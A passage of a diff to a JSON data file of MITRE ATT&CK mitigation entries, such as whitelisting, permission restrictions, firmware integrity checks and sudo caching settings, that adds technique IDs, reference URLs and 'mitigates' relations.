accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", - "meta": { - "uuid": "65eeaa91-556b-4ff7-88bc-9b387f8bbe1a" - }, - "value": "Launch Daemon Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e" - }, - "value": "Data Obfuscation Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b" - }, - "value": "Process Discovery Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd" - }, - "value": "Data Staged Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec" - }, - "value": "Multilayer Encryption Mitigation" - }, - { - "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64" - }, - "value": "Service Execution Mitigation" - }, - { - "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology.[[CiteRef::TCG Trusted Platform Module]]", - "meta": { - "uuid": "25e53928-6f33-49b7-baee-8180578286f6" - }, - "value": "System Firmware Mitigation" - }, - { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43" - }, - "value": "Process Hollowing Mitigation" - }, - { - "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", - "meta": { - "uuid": "78478093-6ff7-48c8-8220-d56843543cd4" - }, - "value": "Hidden Users Mitigation" - }, - { - "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", - "meta": { - "uuid": "374ad611-a77f-46db-9487-36ea2705c1d1" - }, - "value": "Hidden Window Mitigation" - }, - { - "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]].", - "meta": { - "uuid": "78bd8956-5bc8-4532-ba98-ddb2764ae22b" - }, - "value": "Login Item Mitigation" - }, - { - "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them[[CiteRef::Microsoft CreateProcess]]. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate[[CiteRef::MSDN DLL Security]]. Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations[[CiteRef::Kanthak Sentinel]]. \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies,[[CiteRef::Corio 2008]] that are capable of auditing and/or blocking unknown executables.", - "meta": { - "uuid": "e0703d4f-3972-424a-8277-84004817e024" - }, - "value": "Path Interception Mitigation" - }, - { - "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for [[Technique/T1155|AppleScript]].", - "meta": { - "uuid": "88b94229-62da-418f-8330-edf8fa26013e" - }, - "value": "Input Prompt Mitigation" - }, - { - "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.", - "meta": { - "uuid": "e76834ef-0a68-4d78-818e-9f5d9482e011" - }, - "value": "Startup Items Mitigation" - }, - { - "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [[Technique/T1078|Valid Accounts]].", - "meta": { - "uuid": "29e04ce7-731f-4cc6-ae47-6059ecaa1592" - }, - "value": "Private Keys Mitigation" - }, - { - "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating [[Credential Access]] techniques and limiting account access and permissions of [[Technique/T1078|Valid Accounts]].\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", - "meta": { - "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2" - }, - "value": "Logon Scripts Mitigation" + "related": [ + { + "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8", + "value": "Accessibility Features Mitigation - T1015" }, { "description": "Prevent plist files from being modified by users by making them read-only.", "meta": { - "uuid": "7ebfc9c0-e59a-4764-ae7d-baef9c3cd299" + "external_id": "T1150", + "refs": [ + "https://attack.mitre.org/techniques/T1150" + ] }, - "value": "Plist Modification Mitigation" + "related": [ + { + "dest-uuid": "06780952-177c-4247-b978-79c357fb311f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "2d704e56-e689-4011-b989-bf4e025a8727", + "value": "Plist Modification Mitigation - T1150" }, { - "description": "Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)", "meta": { - "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc" + "external_id": "T1051", + "refs": [ + "https://attack.mitre.org/techniques/T1051", + "https://www.acunetix.com/websitesecurity/webserver-security/", + "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf" + ] }, - "value": "Modify Registry Mitigation" + "related": [ + { + "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5", + "value": "Shared Webroot Mitigation - T1051" }, { - "description": "Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", "meta": { - "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612" + "external_id": "T1160", + "refs": [ + "https://attack.mitre.org/techniques/T1160" + ] }, - "value": "Shortcut Modification Mitigation" + "related": [ + { + "dest-uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "value": "Launch Daemon Mitigation - T1160" }, { - "description": "Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab" + "external_id": "T1107", + "refs": [ + "https://attack.mitre.org/techniques/T1107", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "New Service Mitigation" + "related": [ + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d", + "value": "File Deletion Mitigation - T1107" }, { - "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4" + "external_id": "T1108", + "refs": [ + "https://attack.mitre.org/techniques/T1108", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Network Sniffing Mitigation" + "related": [ + { + "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e", + "value": "Redundant Access Mitigation - T1108" }, { - "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.\n\nConsider removing and replacing system components suspected of being compromised.", "meta": { - "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502" + "external_id": "T1109", + "refs": [ + "https://attack.mitre.org/techniques/T1109" + ] }, - "value": "Software Packing Mitigation" + "related": [ + { + "dest-uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "676975b9-7e8e-463d-a31e-4ed2ecbfed81", + "value": "Component Firmware Mitigation - T1109" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)", "meta": { - "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b" + "external_id": "T1019", + "refs": [ + "https://attack.mitre.org/techniques/T1019", + "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + ] }, - "value": "Query Registry Mitigation" + "related": [ + { + "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "25e53928-6f33-49b7-baee-8180578286f6", + "value": "System Firmware Mitigation - T1019" }, { - "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent [[Credential Access]] techniques that may allow an adversary to acquire [[Technique/T1078|Valid Accounts]] that can be used by existing services.", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173" + "external_id": "T1022", + "refs": [ + "https://attack.mitre.org/techniques/T1022", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Remote Services Mitigation" + "related": [ + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b", + "value": "Data Encrypted Mitigation - T1022" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824" + "external_id": "T1023", + "refs": [ + "https://attack.mitre.org/techniques/T1023", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482" + ] }, - "value": "Scheduled Transfer Mitigation" + "related": [ + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612", + "value": "Shortcut Modification Mitigation - T1023" }, { - "description": "Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.[[CiteRef::Powersploit]]\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.", "meta": { - "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd" + "external_id": "T1204", + "refs": [ + "https://attack.mitre.org/techniques/T1204" + ] }, - "value": "Scheduled Task Mitigation" + "related": [ + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "548bf7ad-e19c-4d74-84bf-84ac4e57f505", + "value": "User Execution Mitigation - T1204" }, { - "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", + "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", "meta": { - "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5" + "external_id": "T1205", + "refs": [ + "https://attack.mitre.org/techniques/T1205" + ] }, - "value": "Shared Webroot Mitigation" + "related": [ + { + "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f6b7c116-0821-4eb7-9b24-62bd09b3e575", + "value": "Port Knocking Mitigation - T1205" }, { - "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97" + "external_id": "T1026", + "refs": [ + "https://attack.mitre.org/techniques/T1026", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Web Service Mitigation" + "related": [ + { + "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "da987565-27b6-4b31-bbcd-74b909847116", + "value": "Multiband Communication Mitigation - T1026" }, { - "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [[Technique/T1068|Exploitation of Vulnerability]] to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through [[Credential Access]] and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.[[CiteRef::US-CERT Alert TA15-314A Web Shells]]", + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", "meta": { - "uuid": "bcc91b8c-f104-4710-964e-1d5409666736" + "external_id": "T1206", + "refs": [ + "https://attack.mitre.org/techniques/T1206" + ] }, - "value": "Web Shell Mitigation" + "related": [ + { + "dest-uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "dbf0186e-722d-4a0a-af6a-b3460f162f84", + "value": "Sudo Caching Mitigation - T1206" + }, + { + "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)", + "meta": { + "external_id": "T1209", + "refs": [ + "https://attack.mitre.org/techniques/T1209", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + ] + }, + "related": [ + { + "dest-uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a1482e43-f3ff-4fbd-94de-ad1244738166", + "value": "Time Providers Mitigation - T1209" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "meta": { + "external_id": "T1029", + "refs": [ + "https://attack.mitre.org/techniques/T1029", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824", + "value": "Scheduled Transfer Mitigation - T1029" + }, + { + "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.", + "meta": { + "external_id": "T1034", + "refs": [ + "https://attack.mitre.org/techniques/T1034", + "http://msdn.microsoft.com/en-us/library/ms682425", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://msdn.microsoft.com/en-us/library/ff919712.aspx", + "https://skanthak.homepage.t-online.de/sentinel.html", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + ] + }, + "related": [ + { + "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "e0703d4f-3972-424a-8277-84004817e024", + "value": "Path Interception Mitigation - T1034" + }, + { + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1035", + "refs": [ + "https://attack.mitre.org/techniques/T1035", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + 